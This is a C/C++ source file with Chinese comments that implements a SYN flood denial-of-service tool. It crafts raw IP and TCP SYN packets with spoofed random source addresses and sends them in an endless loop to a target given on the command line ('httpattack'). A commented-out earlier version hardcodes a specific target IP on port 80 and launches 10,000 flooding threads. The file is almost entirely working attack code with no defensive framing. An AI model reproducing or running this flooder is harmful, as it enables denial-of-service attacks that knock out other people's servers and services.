// #include <iostream>
// #include <string>
// #include <cstring>
// #include <sys/types.h>
// #include <sys/socket.h>
// #include <netinet/in.h>
// #include <arpa/inet.h>
// #include <unistd.h>
// #include <vector>
// #include <thread>
// #include "error.hpp"

// #include <netinet/in.h>
// #include <netinet/ip.h>
// #include <netinet/tcp.h>

// using namespace std;

// #define IP "47.116.124.242"
// #define DESTPORT 80
// #define PORT 8888

// // ---- get os info ---- //
// void getOsInfo()
// {
//     FILE *fp = fopen("/proc/version", "r");
//     if (NULL == fp)
//         printf("failed to open version\n");
//     char szTest[1000] = {0};
//     while (!feof(fp))
//     {
//         memset(szTest, 0, sizeof(szTest));
//         fgets(szTest, sizeof(szTest) - 1, fp); // leave out \n
//         printf("%s", szTest);
//     }
//     fclose(fp);
// }

// // ---- get cpu info ---- //
// void getCpuInfo()
// {
//     FILE *fp = fopen("/proc/cpuinfo", "r");
//     if (NULL == fp)
//         printf("failed to open cpuinfo\n");
//     char szTest[1000] = {0};
//     // read file line by line
//     while (!feof(fp))
//     {
//         memset(szTest, 0, sizeof(szTest));
//         fgets(szTest, sizeof(szTest) - 1, fp); // leave out \n
//         printf("%s", szTest);
//     }
//     fclose(fp);
// }

// // ---- get memory info ---- //
// void getMemoryInfo()
// {
//     FILE *fp = fopen("/proc/meminfo", "r");
//     if (NULL == fp)
//         printf("failed to open meminfo\n");
//     char szTest[1000] = {0};
//     while (!feof(fp))
//     {
//         memset(szTest, 0, sizeof(szTest));
//         fgets(szTest, sizeof(szTest) - 1, fp);
//         printf("%s", szTest);
//     }
//     fclose(fp);
// }

// void send_tcp(int sockfd, struct sockaddr_in *addr)
// {
//     char buffer[100]; /**** 放置数据包 ****/
//     struct ip *ip;
//     struct tcphdr *tcp;
//     int head_len;
//     /******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/
//     head_len = sizeof(struct ip) + sizeof(struct tcphdr);
//     bzero(buffer, 100);
//     /******** 填充IP数据包的头部 ******/
//     ip = (struct ip *)buffer;
//     ip->ip_v = IPVERSION;               /** 版本一般的是 4 **/
//     ip->ip_hl = sizeof(struct ip) >> 2; /** IP数据包的头部长度 **/
//     ip->ip_tos = 0;                     /** 服务类型 **/
//     ip->ip_len = htons(head_len);       /** IP数据包的长度 **/
//     ip->ip_id = 0;                      /** 系统填写 **/
//     ip->ip_off = 0;                     /** 省时 **/
//     ip->ip_ttl = MAXTTL;                /** 最长的时间 255 **/
//     ip->ip_p = IPPROTO_TCP;             /** 我们要发的是 TCP包 **/
//     ip->ip_sum = 0;                     /** 校验和让系统去做 **/
//     ip->ip_dst = addr->sin_addr;        /** 攻击的对象 **/
//     /******* 开始填写TCP数据包 *****/
//     tcp = (struct tcphdr *)(buffer + sizeof(struct ip));
//     tcp->source = htons(PORT);
//     tcp->dest = addr->sin_port; /** 目的端口 **/
//     tcp->seq = random();
//     tcp->ack_seq = 0;
//     tcp->doff = 5;
//     tcp->syn = 1; /** 建立连接 **/
//     tcp->check = 0;

//     while (1)
//     {

//         ip->ip_src.s_addr = random();
//         sendto(sockfd, buffer, head_len, 0, (sockaddr*)addr, sizeof(struct sockaddr_in));
//     }
// }

// void make_connect()
// {
//     string serverip = IP;
//     uint16_t serverport = DESTPORT;

//     // 2. connect
//     struct sockaddr_in server; // 存储服务器地址信息
//     memset(&server, 0, sizeof(server));
//     server.sin_family = AF_INET;
//     server.sin_port = htons(serverport);
//     inet_aton(serverip.c_str(), &(server.sin_addr)); // 点分十进制IP转换为网络字节序存储在addr中

//     int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); // SOCK_RAW提供原始套接字的套接字类型
//     if (sockfd < 0)
//     {
//         cerr << "socket error : " << strerror(errno) << endl;
//         exit(SOCKET_ERR);
//     }

//     int on = 1;
//     setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)); // 设置IP数据包格式
//     setuid(getpid());
//     send_tcp(sockfd, &server);
// }

// int main()
// {
//     vector<thread> v1;
//     for (int i = 0; i < 10000; i++)
//     {
//         v1.push_back(thread(make_connect));
//     }
//     for (thread &t : v1)
//     {
//         t.join();
//     }
//     return 0;
// }

#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <arpa/inet.h>

struct tcphdr
{
    unsigned short sport;    // 源端口
    unsigned short dport;    // 目标端口
    unsigned int seq;        // 序列号
    unsigned int ack_seq;    // 确认号
    unsigned char len;       // 首部长度
    unsigned char flag;      // 标志位
    unsigned short win;      // 窗口大小
    unsigned short checksum; // 校验和
    unsigned short urg;      // 紧急指针
};

struct pseudohdr
{
    unsigned int saddr;
    unsigned int daddr;
    char zeros;
    char protocol;
    unsigned short length;
};

struct iphdr
{
    unsigned char ver_and_hdrlen; // 版本号与IP头部长度
    unsigned char tos;            // 服务类型
    unsigned short total_len;     // 总长度
    unsigned short id;            // IP包ID
    unsigned short flags;         // 标志位(包括分片偏移量)
    unsigned char ttl;            // 生命周期
    unsigned char protocol;       // 上层协议
    unsigned short checksum;      // 校验和
    unsigned int srcaddr;         // 源IP地址
    unsigned int dstaddr;         // 目标IP地址
};

unsigned short inline checksum(unsigned short *buffer, unsigned short size)
{
    unsigned long cksum = 0;

    while (size > 1)
    {
        cksum += *buffer++;
        size -= sizeof(unsigned short);
    }

    if (size)
    {
        cksum += *(unsigned char *)buffer;
    }

    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >> 16);

    return (unsigned short)(~cksum);
}

void init_ip_header(struct iphdr *iphdr, unsigned int srcaddr, unsigned int dstaddr)
{
    int len = sizeof(struct iphdr) + sizeof(struct tcphdr);

    iphdr->ver_and_hdrlen = (4 << 4 | sizeof(struct iphdr) / sizeof(unsigned int));
    iphdr->tos = 0;
    iphdr->total_len = htons(len);
    iphdr->id = 1;
    iphdr->flags = 0x40;
    iphdr->ttl = 255;
    iphdr->protocol = IPPROTO_TCP;
    iphdr->checksum = 0;
    iphdr->srcaddr = srcaddr; // 源IP地址
    iphdr->dstaddr = dstaddr; // 目标IP地址
}

void init_tcp_header(struct tcphdr *tcp, unsigned short dport)
{
    tcp->sport = htons(rand() % 16383 + 49152); // 随机生成一个端口
    tcp->dport = htons(dport);                  // 目标端口
    tcp->seq = htonl(rand() % 90000000 + 2345); // 随机生成一个初始化序列号
    tcp->ack_seq = 0;
    tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);
    tcp->flag = 0x02;
    tcp->win = htons(1024);
    tcp->checksum = 0;
    tcp->urg = 0;
}

void init_pseudo_header(struct pseudohdr *hdr, unsigned int srcaddr,
                        unsigned int dstaddr)
{
    hdr->zeros = 0;
    hdr->protocol = IPPROTO_TCP;
    hdr->length = htons(sizeof(struct tcphdr));
    hdr->saddr = srcaddr;
    hdr->daddr = dstaddr;
}

int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,
                    unsigned short dport)
{
    char buf[100];
    int len;
    struct iphdr ip;             // IP 头部
    struct tcphdr tcp;           // TCP 头部
    struct pseudohdr pseudo;     // TCP 伪头部
    unsigned int saddr = rand(); // 随机生成一个源IP地址

    len = sizeof(ip) + sizeof(tcp);

    // 初始化头部信息
    init_ip_header(&ip, saddr, daddr);
    init_tcp_header(&tcp, dport);
    init_pseudo_header(&pseudo, saddr, daddr);

    // 计算IP校验和
    ip.checksum = checksum((u_short *)&ip, sizeof(ip));

    // 计算TCP校验和
    bzero(buf, sizeof(buf));
    memcpy(buf, &pseudo, sizeof(pseudo));            // 复制TCP伪头部
    memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp)); // 复制TCP头部
    tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));

    bzero(packet, pkt_len);
    memcpy(packet, &ip, sizeof(ip));
    memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));

    return len;
}

int make_raw_socket()
{
    int fd;
    int on = 1;

    // 创建一个原始套接字, 指定其关注TCP协议
    fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    if (fd == -1)
    {
        return -1;
    }

    // 设置需要手动构建IP头部
    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
    {
        close(fd);
        return -1;
    }

    return fd;
}

int send_syn_packet(int sockfd, unsigned int addr, unsigned short port) // 发送SYN包
{
    struct sockaddr_in skaddr;
    char packet[256];
    int pkt_len;

    bzero(&skaddr, sizeof(skaddr));

    skaddr.sin_family = AF_INET;
    skaddr.sin_port = htons(port);
    skaddr.sin_addr.s_addr = addr;

    pkt_len = make_syn_packet(packet, 256, addr, port); // 制作SYN包

    return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,
                  sizeof(struct sockaddr)); // 发送
}

int main(int argc, char *argv[])
{
    unsigned int addr;
    unsigned short port;
    int sockfd;

    if (argc < 3)
    {
        fprintf(stderr, "Usage: ./httpattack <address> <port>\n");
        exit(1);
    }

    addr = inet_addr(argv[1]); // 获取目标IP
    port = atoi(argv[2]);      // 获取目标端口

    printf("IP:%d,prot:%d", &addr, &port);

    if (port < 0 || port > 65535)
    {
        fprintf(stderr, "Invalid destination port number: %s\n", argv[2]);
        exit(1);
    }

    sockfd = make_raw_socket(); // 创建原始socket
    if (sockfd == -1)
    {
        fprintf(stderr, "Failed to make raw socket\n");
        exit(1);
    }

    for (;;)
    {
        
        if (send_syn_packet(sockfd, addr, port) < 0)
        { // 发送SYN包
            fprintf(stderr, "Failed to send syn packet\n");
        }
        else{
            printf("发送SYN包成功\n");
        }
    }


    close(sockfd);

    return 0;
}